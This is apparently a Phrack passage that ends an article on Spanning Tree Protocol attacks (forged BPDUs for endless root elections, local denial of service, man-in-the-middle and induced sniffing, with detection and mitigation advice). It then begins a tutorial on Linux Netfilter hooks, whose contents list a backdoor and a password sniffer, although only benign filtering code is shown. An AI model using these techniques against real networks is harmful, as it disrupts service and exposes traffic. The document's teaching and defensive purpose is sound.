0x0000 4242 0300 0000 0000 8000 0050 e2bd 5840 BB.........P..X@ 0x0010 0000 0000 8000 0050 e2bd 5840 8002 0000 .......P..X@.... 0x0020 1400 0200 0f00 0000 0000 0000 0000 7800 ..............x.

0x0030 0c00

3 packets received by filter

0 packets dropped by kernel

[root@ws002 root]# ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑screendump‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Generally the same is achieved by multicast alias of tcpdump syntax (if you 've no other multicast traffic in the target network:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑screendump‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[root@ws002 root]# tcpdump ‑vvv ‑e ‑l ‑xX ‑ttt ‑c 3 ‑i eth0 multicast tcpdump: listening on eth0

000000 0:50:e2:bd:58:42 1:80:c2:0:0:0 0026 64: 802.1d config \ 8000.00:50:e2:bd:58:40.8002 root 8000.00:50:e2:bd:58:40 pathcost 0 \ age 0 max 20 hello 2 fdelay 15

0x0000 4242 0300 0000 0000 8000 0050 e2bd 5840 BB.........P..X@ 0x0010 0000 0000 8000 0050 e2bd 5840 8002 0000 .......P..X@.... 0x0020 1400 0200 0f00 0000 0000 0000 0000 7800 ..............x.

0x0030 0c00

2. 004863 0:50:e2:bd:58:42 1:80:c2:0:0:0 0026 64: 802.1d config \ 8000.00:50:e2:bd:58:40.8002 root 8000.00:50:e2:bd:58:40 pathcost 0 \ age 0 max 20 hello 2 fdelay 15

0x0000 4242 0300 0000 0000 8000 0050 e2bd 5840 BB.........P..X@ 0x0010 0000 0000 8000 0050 e2bd 5840 8002 0000 .......P..X@.... 0x0020 1400 0200 0f00 0000 0000 0000 0000 7800 ..............x.

0x0030 0c00

2. 006193 0:50:e2:bd:58:42 1:80:c2:0:0:0 0026 64: 802.1d config \ 8000.00:50:e2:bd:58:40.8002 root 8000.00:50:e2:bd:58:40 pathcost 0 \ age 0 max 20 hello 2 fdelay 15

0x0000 4242 0300 0000 0000 8000 0050 e2bd 5840 BB.........P..X@ 0x0010 0000 0000 8000 0050 e2bd 5840 8002 0000 .......P..X@.... 0x0020 1400 0200 0f00 0000 0000 0000 0000 7800 ..............x.

0x0030 0c00

3 packets received by filter

0 packets dropped by kernel

[root@ws002 root]# ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑screendump‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As you see here, normally STP frames are arriving approximately within Hello Time (here is 2 seconds).

STP & VLANs.

*=*=*=*=*=*=

We 'd like to say some words about STP functioning specific to networks with virtual LANs (VLANs). Enabling this mode on a switch is logically equivalent to replacing it with a few (by number of VLANs) switches, even when physically there's no separation between VLANs media. It 'd be obvious to find there different STP trees, but this option is supported by only some equipment(i.e. Intel 460T supports only one STP tree for all VLANs; with Avaya's Cajun switches family you'll find separate Spanning Tree only in high models). These facts are destroying a hope to localize possible STP attacks in one VLAN. But there are threats existing even with separate spanning trees per VLAN.

Some vendors realize in their devices extended STP‑related futures, enhancing their abilities, like Spanning Tree Portfast in Cisco (see [11]) & STP Fast Start in some 3Com switches (see [12]). We'll show essence of them below. Also, some companies support their own implementation of STP, i.e. Dual Layer STP from Avaya. Plus, STP modifications functioning for other network types (i.e. DECnet). Here we'd like to point on their principle similarity and differ only in details and extended abilities (so, in Avaya Dual Layer STP trees could be terminated at the 802.1q‑capable ports). All these implementation suffer from the same defects as their prototypes. Unpublished proprietary protocols give one more problem ‑ only developers could solve their problems, since full reverse engineering (needed to provide good bug‑fixing solutions) is much harder then small one required to realize attacks & by publishing results some would make an evidence of reverse engineering, which may be illegal.

Possible attack schemes

*=*=*=*=*=*=*=*=*=*=*=*

An idea of 1st group of attacks lies practically ``on the surface''. Essentially the principle of STP allows easily organize Denial of Service (DoS) attack. Really, as defined by standard, on Spanning Tree reconfiguration all ports of involved devices does not transfer user frames. Thus, to drop a network (or at least one of its segments) into unusable state it's enough to master STP‑capable device(s) to do infinite reconfiguration. It could be realized by initiating elections of, for example, root bridge, designated bridge or root port ‑ practically any of electional object. ``Fortunately'' STP has no any authentication allowing malicious users easily reach this by sending fake BPDU.

A program building BPDU could be written in any high level language having raw‑socket interface (look at C sample and managing shell script at our project home page ‑ [5], [6]). Another way ‑ one may use standard utilities for managing Spanning Tree, i.e. from Linux Bridge project([13]), but in this case its not possible to manipulate STP parameters with values that doesn't fit into standard specification. Below we will examine base schemes of potentially possible attacks.

Eternal elections.

*=*=*=*=*=*=*=*=*=

Attacker monitors network with a sniffer (network analyzer) & awaits for one of periodical configuration BPDUs from the root bridge (containing its identifier). After that he sends into a network a BPDU with identifier that is lower then received one (id=id‑1) ‑ thus it has pretensions to be a root bridge itself & initiates elections. Then it decrement identifier by 1 and repeat procedure. Each step initiates new elections wave. When identifier reach its lowest value attacker return to the value calculated at beginning of the attack. As a result network will be forever in elections of the root bridge and ports of STP‑capable devices will never reach forwarding state while attack is in progress.

Disappearance of root.

*=*=*=*=*=*=*=*=*=*=*=

With this attack there is no need to get current root bridge identifier the lowest possible value is a starting one. This, as we remember, means maximum priority. At the end of elections attacker stops sending BPDUs, thus after a timeout of Max Age Time gives new elections. At new elections attacker also acts as before (and wins). By assigning minimum possible Max Age Time it is possible to get situation when all the network will spend all time reconfigurating, as it could be in previous algorithm. This attack may occur less effective, but it has simpler realization. Also, depending to network scale and other factors (i.e. Forward Delay value, that vary speed of switching into a forwarding state) the ports of STP‑capable devices may never start forwarding the user frames ‑ so we cannot consider this attack as less dangerous.

Merging‑splitting of the trees.

*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=

In a network with VLAN support it may be possible to lunch a modification of discussed above attack by connecting segments with different vlans & STP trees. This may be realized without software, by hands, by linking ports together with a cross‑over cable. This may become a pain for NOC, since it's hard to detect.

Local Denial of Service.

*=*=*=*=*=*=*=*=*=*=*=*=*

Attacker may make Denial of Service not for the entire network, but just on a part of it. There could be many motivations, i.e. it may isolate victim client from real server to make ``fake server'' attack. Lets look for realization of this type of attack on example.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

| Switch w/ STP #1 |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| Switch w/ STP #2 |

.________________________.

| |

| |

| |

|..... | ._

.‑‑‑‑‑‑,~ | ||

|Client|' | ||

| PC || \ |....

\‑‑‑‑‑‑ / '=====|

======/ Attackers ‑‑‑‑‑‑‑

Notebook Server

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Picture 1‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

On the picture 1 server is connected to one switch & victim is connected to another one (connectivity to the bridge may include hubs). Attacker needs to fool nearest switch & make it think that he(she) has better way to the bridge that serves server computer.

In terms of STP, attacker must initiate & win elections of designated bridge for server segment. As a result of winning such elections the channel between bridges would be disabled by setting corresponding ports to the blocked state. By destroying connectivity between segments attacker may either try to fool client claiming itself as a real server (compare with well known Mitnick attack) or just feel satisfied if mischief is a subject.

BPDU filter.

*=*=*=*=*=*=

Obvious way to attack is to set a loop that is undetectable by STP by organizing physical ring with filtering there of all BPDU frames.

Man In the Middle.

*=*=*=*=*=*=*=*=*=

Next two attacks have principal difference from already discussed ‑ the goal of them not to achieve denial of service, but data penetrating, that impossible in the normal network operation mode. In short, this attack uses STP to change logical structure of network to direct sensitive traffic via attacker's station. Let's look at the 2nd picture.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Clients segment Server segment

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

| Switch w/ STP #1 |‑‑‑‑‑‑X X‑‑‑‑‑‑‑‑| Switch w/ STP #2 |

.________________________.

| |

| |

| |

|..... | .‑‑‑‑‑‑.

.‑‑‑‑‑‑,~ | | |

|Client|' | |Attacking ; \_,| ‑|

| PC || \ | PC | / | |

\‑‑‑‑‑‑ / \_========_,

======/ |_________|‑‑‑‑‑

Server

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Picture 1‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As against mentioned above partial denial of service attack, suppose that attackers station is equipped with two NICs, one Network Interface Card is connected to the ``client's'' segment, and another ‑ to the ``server's'' segment. By sending appropriate BPDU attacker initiates elections of the designated bridge for both segments and wins them. As a result, existing link between switches (marked as "‑X X‑" ) will shut down (will switch to the blocking state) and all inter‑segment traffic will be directed via attacker's station. If intruder's plans does not include denial of service, he(she) MUST provide frame forwarding between NICs. It's a very simple task if attacker doesn't needed to change traffic in some manner. This may be done by either creating simple program module or using built‑in STP functions of the operating system, for example with Linux Bridge Project (see [13]), which contribute complete bridge solution. Of course, an intruder must take in account ``bottle neck'' problem ‑ inter‑segment link may work at 100Mb (1Gb) speed while client's ports may provide only 10Mb (100Mb) speed, which lead to the network productivity degradation and partial data loss (but software realization of back pressure shouldn't be a big deal). Of course, if attacker wants to ``edit'' traffic on the fly on a heavy loaded link, he(she) may need more powerful computer (both CPU and RAM). Fortunately, this attack is impossible in networks with single switch ‑ try to realize it in these conditions and you will get partial DoS. Also note, that realization is trivial only when attacker is connected to neighbored switches. If connections are made to the switches without direct link, there is additional task guessing at least one Bridge ID, because STP‑capable devices never forward BPDU, sending on the base of received information its own, instead.

Provocated Sniffing.

*=*=*=*=*=*=*=*=*=*=

In general, sniffing is data penetrating by switching network interface into promiscuous mode. In this mode NIC receives all the frames, not only broadcasts and directed to it. There're well known attack on networks based on switches, these are either poison targets MAC address table by fake ARP replies, either over‑full bridge switching table and thus making it behave like a hub, but with splitting collision domains. Almost the same results may be achieved using STP.

According specification after tree reconfiguration (for example, after designated bridge elections) STP‑capable device MUST remove from the switching table all the records (except those statically set by administrator), included before switch gone into listening and learning state. As a result switch will go into hub mode for some time while it refill switching table. Of course, you already noted weakness of this theory: switch learns too fast. After receiving first frame from victim it writes its MAC address into switching table and stops to broadcast them to all ports. However, we must not ignore this attack. This is because manufacturers include in their products some ``extensions'' to core STP. Just after elections network is unreachable. To reduce down time some manufacturers (Cisco, Avaya, 3Com, HP, etc) include an ability to discard listening and learning states on the ``user'' ports (ports with servers and workstations connected to). In other words, port is switching from ``blocked'' state directly to ``forwarding'' state. This ability has different names: Spanning Tree Portfast (Cisco ‑ [11]), STP Fast Start (3Com ‑ [12]) etc. If this ability turned on, eternal elections would lead not to DoS, but to periodical resets of the switching table, that means hub‑mode. Note, that this function should not be turned ON on the trunk ports, because STP convergence (finalization of elections to a stable state) not guaranteed in this case. Fortunately, to achieve its goal an intruder must clear switching table at least two times fast than interesting packets are received, that is practically impossible. Anyway it allows collecting of some sensitive data. Also note, that this attack allows to catch all frames, because it works on the channel level of OSI and redirects all protocols (including IPX, NETBEUI etc), not only IP (as ARP‑poisoning).

Other possible attacks.

*=*=*=*=*=*=*=*=*=*=*=*

These attacks are unchecked, but we suppose, that them are possible.

STP attack on the neighbor VLAN.

*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=

According 802.1q a bridge with VLAN support can receive on the given channel either all the frames, or the frames with appropriate tags. In VLAN‑divided networks frames containing STP packets will be transmitted via trunk link with appropriate tags. So, there is an ability to attack VLAN by sending STP packets in tagged frames to the port, which doesn't support tags. Fortunately, according 802.1q a bridge may filter out those frames. For example, Cisco devices drop down tagged frames on the tag‑incompatible ports (at least, users), that makes this attack impossible. But note, that bridge MAY, not MUST drop these frames.

STP on WAN links.

*=*=*=*=*=*=*=*=*

We also must understand, that WAN links are vulnerable to STP attacks too. This because BCP specification declare STP over PPP support. Surprising consequence of this fact is an ability to attack ISP network via dial‑up connection. According RFC2878 (BCP description, see [RFC2878]) STP turned on on the PPP link if both sides requesting it, that never takes place in practice. Nevertheless, STP supported by default on the majority Cisco routers, at least models, capable to combine virtual interfaces into bridge group.

This applies to GARP.

*=*=*=*=*=*=*=*=*=*=*=

As you may read in the Generic Attribute Registration Protocol (GARP) specification by 802.1d the STP is a subset of GARP. Some of discussed above attack work against GARP and, in particular, Generic VLAN Registration Protocol (GVRP). Therefore VLANs cannot be used as single security measure in network. 802.1q standard originated from 802.1d and inherits all its defects.

We may continue our research of non‑standard using STP. All new materials will be available on the project web‑page (see [3]).

Brief resume.

*=*=*=*=*=*=*

So, we shown that unfortunately all networks supporting 802.1d and, with some restrictions, those that support 802.1q are all vulnerable.

While some devices support STP only if administrator turned on appropriate option during configuration process, others support STP by default, ``from the box'' (most of current vendors enable STP by default). Ask your admin: does our network need STP support? Is STP support turned off on our hardware?

Detection and protection.

*=*=*=*=*=*=*=*=*=*=*=*=*

What is the main difficulty with STP‑based attacks detection? The problem is that for this attack used standard C‑BPDU packets, so presence STP packets on the network is not strong characteristic of attack. Other difficulty is that Intrusion Detection System (IDS) must have in its disposal information about network scheme, at least, list of network devices (with bridges IDs) to distinguish usual STP traffic from intruder's packets. Moreover, as a main goal of attack is network availability, IDS must have its own alarm channel. But note that in this case there possible false negatives ‑ attack will not detected if malicious BPDUs affect network hardware before IDS disclose them. Each real network normal state can be described in STP terms. For example, in a network which normally doesn't use STP appearance of STP packets most likely signify an STP attack attempt. Series of Root Bridge elections with sequential lowering Root Bridge ID may signify ``eternal election'' attack. In a network with fixed list of device IDs appearance of BPDUs with new ID in most cases may signify an attack (except, of course some ridiculous cases like installation of new device by ones of poor‑coordinated administration team). We suppose, that most effective solution is adaptive self‑learning IDS using neural networks technology, because the can dynamically compare actual network state with ``normal'' state. One of most significant measure is STP fraction in total traffic amount.

Quick fix?

*=*=*=*=*=*

What can network administrators do while problem exists?

‑ If STP is not barest necessity for your network, it must be disabled. As we noted above, in most devices STP is enabled by default.

‑ In many cases backup links can be controlled using other mechanisms like Link Aggregation. This feature supported by many devices, including Intel, Avaya etc.

‑ If hardware supports individual STP settings on each port then STP must be switched off on all ports except tagged port connected to other network hardware, but not user workstations. Especially this must be taken in account by ISP, because malicious users may attempt to make DoS against either ISP network either other client's networks.

‑ If possible administrators must to segment STP realm, i.e. create several independent spanning trees. Particularly, if two network segment (offices) connected via WAN link, STP on this link must be switched off.

Conclusion

*=*=*=*=*=

Each complicated system inevitably has some errors and communications is not an exclusion. But this fact is not a reason to stop evolution of information technologies ‑ we can totally escape mistakes only if we do nothing. Meanwhile increasing complexity of technologies demand new approach to development, an approach, which takes in account all conditions and factors, including information security. We suppose that developers must use new methods, like mathematical simulation of produced system, which takes in account not only specified controlling and disturbing impacts on the system, but also predicts system behavior when input values are outside of specified range.

It is no wonder that developers in first place take in account primary goal of system creation and other questions gives little consideration. But if we don't include appropriate security measures while system development, it is practically impossible to ``make secure'' this system when it is already created. At least, this process is very expensive, because core design lacks are hard to detect and too hard (some times ‑ impossible) to repair in contrast to implementation and configuration errors.

References

*=*=*=*=*=

[2] Our article in Russian in LAN‑magazine: http://www.osp.ru/lan/2002/01/088.htm , also there, in paper:

Russia, Moscow, LAN, #01/2002, published by ``Open Systems'' publishers. [3] Other materials of this research are published in full at http://olli.digger.org.ru/STP

[4] Formatted report of our research http://olli.digger.org.ru/STP/STP.pdf

[5] C‑code source of BPDU generation program http://olli.digger.org.ru/STP/stp.c

[6] Shell script to manipulate STP parameters http://olli.digger.org.ru/STP/test.sh

[7] ANSI/IEEE 802.1d (Media Access Control, MAC) and ANSI/IEEE 802.1q (Virtual Bridged Local Area Networks) can be downloaded from http://standards.ieee.org/getieee

[8] RFC2878 (PPP Bridging Control Protocol) http://www.ietf.org/rfc/rfc2878.txt

[9] Description of BPDU http://www.protocols.com/pbook/bridge.htm#BPDU

[10] Assigned Numbers (RFC1700) http://www.iana.org/numbers.html

[11] Cisco STP Portfast feature http://www.cisco.com/warppublic/473/65.html

[12] Description of STP support on 3Com SuperStack Switch 1000 http://support.3com.com/infodeli/tools/switches/s_stack2/3c16902/man

ual.a02/chap51.htm

[13] Linux Bridge Project

http://bridge.sourceforge.net/

[14] Thomas Habets. Playing with ARP http://www.habets.pp.se/synscan/docs/play_arp‑draft1.pdf

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hacking the Linux Kernel Network Stack

==Phrack Inc.==

Volume 0x0b, Issue 0x3d, Phile #0x0d of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑=[ Hacking the Linux Kernel Network Stack ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ bioforge <alkerr@yifan.net> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

Table of Contents

1 ‑ Introduction

1.1 ‑ What this document is

1.2 ‑ What this document is not

2 ‑ The various Netfilter hooks and their uses

2.1 ‑ The Linux kernel's handling of packets

2.2 ‑ The Netfilter hooks for IPv4

3 ‑ Registering and unregistering Netfilter hooks

4 ‑ Packet filtering operations with Netfilter

4.1 ‑ A closer look at hook functions

4.2 ‑ Filtering by interface

4.3 ‑ Filtering by address

4.4 ‑ Filtering by TCP port

5 ‑ Other possibilities for Netfilter hooks

5.1 ‑ Hidden backdoor daemons

5.2 ‑ Kernel based FTP password sniffer

5.2.1 ‑ The code... nfsniff.c

5.2.2 ‑ getpass.c

6 ‑ Hiding network traffic from Libpcap

6.1 ‑ SOCK_PACKET, SOCK_RAW and Libpcap

6.2 ‑ Wrapping the cloak around the dagger

7 ‑ Conclusion

A ‑ Light‑Weight Fire Wall

A.1 ‑ Overview

A.2 ‑ The source... lwfw.c

A.3 ‑ lwfw.h

B ‑ Code for section 6

‑‑[ 1 ‑ Introduction

This article describes how quirks (not necessarily weaknesses) in the Linux network stack can be used for various purposes, nefarious or otherwise. Presented here will be a discussion on using seemingly legitimate Netfilter hooks for backdoor communications and also a technique to hide such traffic from a Libpcap based sniffer running on the local machine.

Netfilter is a subsystem in the Linux 2.4 kernel. Netfilter makes such network tricks as packet filtering, network address translation (NAT) and connection tracking possible through the use of various hooks in the kernel's network code. These hooks are places that kernel code, either statically built or in the form of a loadable module, can register functions to be called for specific network events. An example of such an event is the reception of a packet.

‑‑‑‑[ 1.1 ‑ What this document is

This document discusses how a module writer can make use of the Netfilter hooks for whatever purposes and also how network traffic can be hidden from a Libpcap application. Although Linux 2.4 supports hooks for IPv4, IPv6 and DECnet, only IPv4 will be discussed in this document. However, most of the IPv4 content can be applied to the other protocols. As an aide to teaching, a working kernel module that provides basic packet filtering is provided in Appendix A. Any development/experimentation done for this document was done on an Intel machine running Linux 2.4.5. Testing the behaviour of Netfilter hooks was done using the loopback device, an Ethernet device and a modem Point‑to‑Point interface.

This document is also written for my benefit in an attempt to fully understand Netfilter. I do not guarantee that any code accompanying this document is 100% error free but I have tested all code provided here. I have suffered the kernel faults so hopefully you won't have to. Also, I do not accept any responsibility for damages that may occur through following this document. It is expected that the reader be comfortable with the C programming language and have some experience with Loadable Kernel Modules.

If I have made a mistake in something presented here then please let me know. I am also open to suggestions on either improving this document or other nifty Netfilter tricks in general.

‑‑‑‑[ 1.2 ‑ What this document is not

This document is not a complete ins‑and‑outs reference for Netfilter. It is also *not* a reference for the iptables command. If you want to learn more about the iptables command, consult the man pages.

So let's get started with an introduction to using Netfilter...

‑‑[ 2 ‑ The various Netfilter hooks and their uses

‑‑‑‑[ 2.1 ‑ The Linux kernel's handling of packets

As much as I would love to go into the gory details of Linux's handling of packets and the events preceeding and following each Netfilter hook, I won't. The simple reason is that Harald Welte has already written a nice document on the subject, his Journey of a Packet Through the Linux 2.4 Network Stack document. To learn more on Linux's handling of packets, I strongly suggest that you read this document as well. For now, just understand that as a packet moves through the Linux kernel's network stack it crosses several hook locations where packets can be analysed and kept or discarded. These are the Netfilter hooks.

‑‑‑‑‑‑[ 2.2 The Netfilter hooks for IPv4

Netfilter defines five hooks for IPv4. The declaration of the symbols for these can be found in linux/netfilter_ipv4.h. These hooks are displayed in the table below:

Table 1: Available IPv4 hooks

Hook Called

NF_IP_PRE_ROUTING After sanity checks, before routing decisions. NF_IP_LOCAL_IN After routing decisions if packet is for this host. NF_IP_FORWARD If the packet is destined for another interface. NF_IP_LOCAL_OUT For packets coming from local processes on their way out.

NF_IP_POST_ROUTING Just before outbound packets "hit the wire".

The NF_IP_PRE_ROUTING hook is called as the first hook after a packet has been received. This is the hook that the module presented later will utilise. Yes the other hooks are very useful as well, but for now we will focus only on NF_IP_PRE_ROUTING.

After hook functions have done whatever processing they need to do with a packet they must return one of the predefined Netfilter return codes. These codes are:

Table 2: Netfilter return codes

Return Code Meaning

NF_DROP Discard the packet.

NF_ACCEPT Keep the packet.

NF_STOLEN Forget about the packet.

NF_QUEUE Queue packet for userspace.

NF_REPEAT Call this hook function again.

The NF_DROP return code means that this packet should be dropped completely and any resources allocated for it should be released. NF_ACCEPT tells Netfilter that so far the packet is still acceptable and that it should move to the next stage of the network stack. NF_STOLEN is an interesting one because it tells Netfilter to "forget" about the packet. What this tells Netfilter is that the hook function will take processing of this packet from here and that Netfilter should drop all processing of it. This does not mean, however, that resources for the packet are released. The packet and it's respective sk_buff structure are still valid, it's just that the hook function has taken ownership of the packet away from Netfilter. Unfortunately I'm not exactly clear on what NF_QUEUE really does so for now I won't discuss it. The last return value, NF_REPEAT requests that Netfilter calls the hook function again. Obviously one must be careful using NF_REPEAT so as to avoid an endless loop.

‑‑[ 3 ‑ Registering and unregistering Netfilter hooks

Registration of a hook function is a very simple process that revolves around the nf_hook_ops structure, defined in linux/netfilter.h. The definition of this structure is as follows:

struct nf_hook_ops {

struct list_head list;

/* User fills in from here down. */

nf_hookfn *hook;

int pf;

int hooknum;

/* Hooks are ordered in ascending priority. */

int priority;

};

The list member of this structure is used to maintain the lists of Netfilter hooks and has no importance for hook registration as far as users are concerned. hook is a pointer to a nf_hookfn function. This is the function that will be called for the hook. nf_hookfn is defined in linux/netfilter.h as well. The pf field specifies a protocol family. Valid protocol families are available from linux/socket.h but for IPv4 we want to use PF_INET. The hooknum field specifies the particular hook to install this function for and is one of the values listed in table 1. Finally, the priority field specifies where in the order of execution this hook function should be placed. For IPv4, acceptable values are defined in linux/netfilter_ipv4.h in the nf_ip_hook_priorities enumeration. For the purposes of demonstration modules we will be using NF_IP_PRI_FIRST.

Registration of a Netfilter hook requires using a nf_hook_ops structure with the nf_register_hook() function. nf_register_hook() takes the address of an nf_hook_ops structure and returns an integer value. However, if you actually look at the code for the nf_register_hook() function in net/core/netfilter.c, you will notice that it only ever returns a value of zero. Provided below is example code that simply registers a function that will drop all packets that come in. This code will also show how the Netfilter return values are interpreted.

Listing 1. Registration of a Netfilter hook

/* Sample code to install a Netfilter hook function that will

* drop all incoming packets. */

#define __KERNEL__

#define MODULE

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/netfilter.h>

#include <linux/netfilter_ipv4.h>

/* This is the structure we shall use to register our function */

static struct nf_hook_ops nfho;

/* This is the hook function itself */

unsigned int hook_func(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *))

{

return NF_DROP; /* Drop ALL packets */

}

/* Initialisation routine */

int init_module()

{

/* Fill in our hook structure */

nfho.hook = hook_func; /* Handler function */

nfho.hooknum = NF_IP_PRE_ROUTING; /* First hook for IPv4 */

nfho.pf = PF_INET;

nfho.priority = NF_IP_PRI_FIRST; /* Make our function first */

nf_register_hook(&nfho);

return 0;

}

/* Cleanup routine */

void cleanup_module()

{

nf_unregister_hook(&nfho);

}

That's all there is to it. From the code given in listing 1 you can see that unregistering a Netfilter hook is a simple matter of calling nf_unregister_hook() with the address of the same structure you used to register the hook.

‑‑[ 4 ‑ Basic packet filtering techniques with Netfilter

‑‑‑‑[ 4.1 ‑ A closer look at hook functions

Now its time to start looking at what data gets passed into hook functions and how that data an be used to make filtering decisions. So let's look more closely at the prototype for nf_hookfn functions. The prototype is given in linux/netfilter.h as follows:

typedef unsigned int nf_hookfn(unsigned int hooknum,

struct sk_buff **skb,

const struct net_device *in,

const struct net_device *out,

int (*okfn)(struct sk_buff *));

The first argument to nf_hookfn functions is a value specifying one of the hook types given in table 1. The second argument is more interesting. It is a pointer to a pointer to a sk_buff structure, the structure used by the network stack to describe packets. This structure is defined in linux/skbuff.h and due to its size, I shall only highlight some of it's more interesting fields here.

Possibly the most useful fields out of sk_buff structures are the three unions that describe the transport header (ie. UDP, TCP, ICMP, SPX), the network header (ie. IPv4/6, IPX, RAW) and the link layer header (Ethernet or RAW). The names of these unions are h, nh and mac respectively. These unions contain several structures, depending on what protocols are in use in a particular packet. One should note that the transport header and network header may very well point to the same location in memory. This is the case for TCP packets where h and nh are both considered as pointers to IP header structures. This means that attempting to get a value from h‑>th thinking it's pointing to the TCP header will result in false results because h‑>th will actually be pointing to the IP header, just like nh‑>iph.

Other fields of immediate interest are the len and data fields. len specifies the total length of the packet data beginning at data. So now we know how to access individual protocol headers and the packet data itself from a sk_buff structure. What other interesting bits of information are available to Netfilter hook functions?

The two arguments that come after skb are pointers to net_device structures. net_device structures are what the Linux kernel uses to describe network interfaces of all sorts. The first of these structures, in, is used to describe the interface the packet arrived on. Not surprisingly, the out structure describes the interface the packet is leaving on. It is important to realise that usually only one of these structures will be provided. For instance, in will only be provided for the NF_IP_PRE_ROUTING and NF_IP_LOCAL_IN hooks. out will only be provided for the NF_IP_LOCAL_OUT and NF_IP_POST_ROUTING hooks. At this stage I haven't tested which of these structures are available for the NF_IP_FORWARD hook but if you make sure the pointers are non‑NULL before attempting to dereference them you should be fine.

Finally, the last item passed into a hook function is a function pointer called okfn that takes a sk_buff structure as its only argument and returns an integer. I'm not too sure on what this function does. Looking in net/core/netfilter.c there are two places where this okfn is called. These two places are in the functions nf_hook_slow() and nf_reinject() where at a certain place this function is called on a return value of NF_ACCEPT from a Netfilter hook. If anybody has more information on okfn please let me know.

Now that we've looked at the most interesting and useful bits of information that our hook functions receive, it's time to look at how we can use that information to filter packets in a variety of ways.

‑‑‑‑[ 4.2 ‑ Filtering by interface

This would have to be the simplest filtering technique we can do. Remember those net_device structures our hook function received? Using the name field from the relevant net_device structure allows us to drop packets depending on their source interface or destination interface. To drop all packets that arrive on interface eth0 all one has to do is compare the value of in‑>name with "eth0". If the names match then the hook function simply returns NF_DROP and the packet is destroyed. It's as easy as that. Sample code to do this is provided in listing 2 below. Note that the Light‑Weight FireWall module will provide simple examples of all the filtering methods presented here. It also includes an IOCTL interface and application to change its behaviour dynamically.

Listing 2. Filtering packets based on their source interface

/* Sample code to install a Netfilter hook function that will

* drop all incoming packets on an interface we specify */

#define __KERNEL__

#define MODULE

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/netdevice.h>

#include <linux/netfilter.h>

#include <linux/netfilter_ipv4.h>

/* This is the structure we shall use to register our function */

static struct nf_hook_ops nfho;

/* Name of the interface we want to drop packets from */

static char *drop_if = "lo";

/* This is the hook function itself */

unsigned int hook_func(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *))

{

if (strcmp(in‑>name, drop_if) == 0) { printk("Dropped packet on %s...\n", drop_if); return NF_DROP;

} else {

return NF_ACCEPT;

}

}

/* Initialisation routine */

int init_module()

{

/* Fill in our hook structure */

nfho.hook = hook_func; /* Handler function */

nfho.hooknum = NF_IP_PRE_ROUTING; /* First hook for IPv4 */

nfho.pf = PF_INET;

nfho.priority = NF_IP_PRI_FIRST; /* Make our function first */

nf_register_hook(&nfho);

return 0;

}

/* Cleanup routine */

void cleanup_module()

{

nf_unregister_hook(&nfho);

}

Now isn't that simple? Next, let's have a look at filtering based on IP addresses.

‑‑‑‑[ 4.3 ‑ Filtering by address

As with filtering packets by their interface, filtering packets by their source or destination IP address is very simple. This time we are interested in the sk_buff structure. Now remember that the skb argument is a pointer to a pointer to a sk_buff structure. To avoid running into problems it is good practice to declare a seperate pointer to a sk_buff structure and assign the value pointed to by skb to this newly declared pointer. Like so:

struct sk_buff *sb = *skb; /* Remove 1 level of indirection* /

Now you only have to dereference once to access items in the structure. Obtaining the IP header for a packet is done using the network layer header from the the sk_buff structure. This header is contained in a union and can be accessed as sk_buff‑>nh.iph. The function in listing 3 demonstrates how to check the source IP address of a received packet against an address to deny when given a sk_buff for the packet. This code has been pulled directly from LWFW. The only difference is that the update of LWFW statistics has been removed.

Listing 3. Checking source IP of a received packet

unsigned char *deny_ip = "\x7f\x00\x00\x01"; /* 127.0.0.1 */

...

static int check_ip_packet(struct sk_buff *skb) {

/* We don't want any NULL pointers in the chain to

* the IP header. */

if (!skb )return NF_ACCEPT;

if (!(skb‑>nh.iph)) return NF_ACCEPT;

if (skb‑>nh.iph‑>saddr == *(unsigned int *)deny_ip) { return NF_DROP;

}

return NF_ACCEPT;

}

